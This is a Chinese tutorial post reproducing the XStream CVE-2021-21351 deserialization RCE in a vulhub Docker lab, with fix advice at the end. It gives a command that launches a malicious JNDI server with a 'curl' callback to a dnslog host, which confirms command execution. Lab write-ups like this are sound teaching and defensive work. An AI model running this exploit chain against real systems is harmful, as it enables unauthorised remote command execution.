前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-21351-Stream 反序列化命令执行漏洞复现

CVE-2021-21351-Stream 反序列化命令执行漏洞复现

原创
作者头像
雨笋教育
发布2021-12-02 11:47:27
1.3K0
发布2021-12-02 11:47:27
举报
文章被收录于专栏:雨笋教育雨笋教育

今天给大家介绍,XStream是一个简单易用的开源java类库,在解析XML文本时使用黑名单机制来防御反序列化漏洞,但之前的版本黑名单存在缺陷所以造成反序列化命令执行错误,下午具体来看一下复现过程吧。

0x00简介

XStream是一个轻量级、简单易用的开源Java类库,

它主要用于将对象序列化成XML(JSON)或反序列化为对象。

0x01漏洞概述

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,

但是其 1.4.15 及之前版本黑名单存在缺陷,

攻击者可利用javax.naming.ldap.Rdn$RdnEntry

及javax.sql.rowset.BaseRowSet构造JNDI注入,进而执行任意命令。

0x02影响范围

Xstream<=1.4.15

0x03环境搭建

文件:docker-compose.yml

version: '2'

services:

web:

image: vulhub/xstream:1.4.15

ports:

- "8080:8080"

命令:docker-compose up -d

环境启动后,

访问 http://your-ip:8080 ,

发送一个正常的XML数据包,

来确定环境是否搭建正常:

0x04漏洞复现

  • 启动恶意的JNDI服务器

地址:https://github.com/welk1n/JNDI-Injection-Exploit/

命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl jsqghe.dnslog.cn" -A 192.168.1.142

  • 发送payload到web服务器来执行命令

使用基于SpringBoot利用链的RMI地址作为<dataSource>的值.

查看恶意的JNDI服务器请求情况,

发现漏洞服务器访问了JNDI服务并执行了curl命令,

可以获得dnslog请求记录:

dnslog:

0x05修复建议

  1. 配置XStream的安全框架为允许的类型使用白名单
  2. 注册自己的转换器,以防止解组当前已知的Java运行时关键类型
  3. 升级XStream到最新版本

*本文章仅供技术交流分享,请勿做未授权违法攻击,雨笋教育不负任何责任。具体请参考《网络安全法》。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00简介
  • 0x01漏洞概述
  • 0x02影响范围
  • 0x04漏洞复现
  • 0x05修复建议
相关产品与服务
漏洞扫描服务
漏洞扫描服务(Vulnerability Scan Service,VSS) 是一款自动探测企业网络资产并识别其风险的产品。依托腾讯二十年累积的安全能力,漏洞扫描服务能够对企业的网络设备及应用服务的可用性、安全性与合规性等进行定期的安全扫描、持续性风险预警和漏洞检测,并且为企业提供专业的修复建议,降低企业安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档